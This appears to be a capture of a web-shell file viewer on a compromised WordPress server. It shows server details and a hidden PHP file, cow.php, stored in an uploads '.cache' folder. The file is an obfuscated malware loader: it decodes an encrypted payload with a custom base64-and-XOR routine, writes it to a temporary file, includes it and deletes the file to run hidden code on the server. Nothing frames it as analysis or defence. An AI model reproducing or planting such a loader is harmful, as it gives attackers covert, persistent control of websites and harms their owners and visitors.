HEX
Server: Apache/2
System: Linux server-27-254-144-72.da.direct 5.10.0-33-amd64 #1 SMP Debian 5.10.226-1 (2024-10-03) x86_64
User: chonvip (1209)
PHP: 8.1.33
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/chonvip/public_html/wp-content/uploads/2024/.cache/modules/cow.php
<?php
$encrypted = 'X1ACCRxuZVYFAwAaHwQCFz0dDhhDUlITCQIDAgAYC0cVBBgAGBZJRUpUf2tIFh8eDg0HPxMVBENSUggfEAoGSUg8KDc1N0QfExUERDJbQVNDSy0mKTc0VRENFwdVPExZT1YFAwAaHwQCFz0dDhhYYnhFGRMDHQAIMw4GCUxeTwEVHjwdFxEAAgwXSTdEQFVNTEQzLkYxT082KD4mLCYuPjowISQ8Ij0zNSMxQ1JFGRMDHQAIMw4GCUVYYnhsZgoJUklNChwtBQURR1YUHA8AEwU8AhsaSEVDFH9rTENPUgUFBkdQsfGz2qLVvN2_zbDvsu6j47zbv86w57PWUrHTsuyj473vT6LWvNO_wbDssuyi1rzZv8pBRLPSotRMs9ui2b3jv8ex1rLtot-947_KsONKQVBIV25lD2xmbmUbB0xLSy0yKTE5NzM3RD03MDkmPCY-ISY7Oi4oRDJSXFFeT1UxIzA7VUFKRU8bEh8GG1pFMyUmPiQ_OEgHEQAMDhYECDwJGw0JEEgvSEVDFH9rTENPUkUKCgMXEkxeT1Y-KiojNzI3RBoCDQMCCxcFMwUGHgQfRDJJbGZuZVJBTEMJHRNMS0sbQVFDX0lBSApPTkEPDBocFURHCRsNCRA0VQ8NDgpVPEVYT1YIR0hGUhphaU9SQUxDT1JBBQVPWkUKCgMXEjdECgATAxFILzpICjJSXFFeTycxICwuNj4pMT0tLidKTwlsZkNPUkFMQ09SQUxDT1YHBQ8KHAABBk9PQQ4CHBcPDQ4KWkUKCgMXEjdEARMMCUQyKUUFPkZJbGZDT1JBTENPUkFMQ09WFQETIRMMCUNSUkUKCgMXEjdEGx8RMw0OHwRLPjRWCDFYYnhBTENPUkFMQ09SQUxHCxcSGAoBExUFDAFSXExHGgINAwILIgAYC09cQSgqPTciOCw9Kz4_Jj8zMy03ICBBQkNLFAgABgETDAlYYnhsZkNPUkFMQ09SQUxDTxsHTEsCHRcJPBoCDQMCCxcFMwUGHgRERxsfESICAhdNTEcLFxIYCgETFQUMAVtITBhieEFMQ09SQUxDT1JBTENPUkEJAAcdQU6zy6LRvNq_yUFLRwkbDQkNDh8ES0O-8bDts9Ci1L3rv8-x0kO_xbHcs9yj4b3gv8Sx2bPSXF0OEVFQWmFpT1JBTENPUkFMQ09SHEwGAwEETBhieEFMQ09SQUxDT1JBTENPUkEJAAcdQU6z8aPpvNu_w7HWs99SsdOy76LZTLPYotG80L7ysO-z2KLbvNZPVUUKCgMXDw0OClVPUAEdTENXbmVSQUxDT1JBTENPUkERbmVSQUxDT1JBTB5PFw0fBk8JbGZDT1JBTENPUkFMQ08XAgQMT1Cx8rLnotm80r_IsdxDv8Wx3LPco-G94L_Fsdaz11Kw6LPfoti82L_CQUsYSxQIAAYcKUYCAgIXRjE4Sxs8EURPWrHWs9Gi1VZDFFYHBQ8KATpLBh0ADh5EMilFBT4SW09QAR1MQ1duZVJBTENPUkFMHmJ4QUxDTw9sZh5ieF5SbmU';
if (!function_exists('woodpecker')) {
    function woodpecker($data, $key) {
        $alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_';
        $bin = '';
        for ($i = 0; $i < strlen($data); $i++) {
            $index = strpos($alphabet, $data[$i]);
            $bin .= str_pad(decbin($index), 6, '0', STR_PAD_LEFT);
        }

        $bytes = '';
        for ($i = 0; $i < strlen($bin); $i += 8) {
            $chunk = substr($bin, $i, 8);
            if (strlen($chunk) < 8) break; // если меньше 8 бит — игнорируем
            $bytes .= chr(bindec($chunk));
        }

        $res = '';
        $klen = strlen($key);
        for ($i = 0; $i < strlen($bytes); $i++) {
            $res .= $bytes[$i] ^ $key[$i % $klen];
        }
        return $res;
    }
}

file_put_contents($tmp = tempnam(sys_get_temp_dir(), 'shf_'), woodpecker($encrypted, 'coral'));
include $tmp;
unlink($tmp);

?>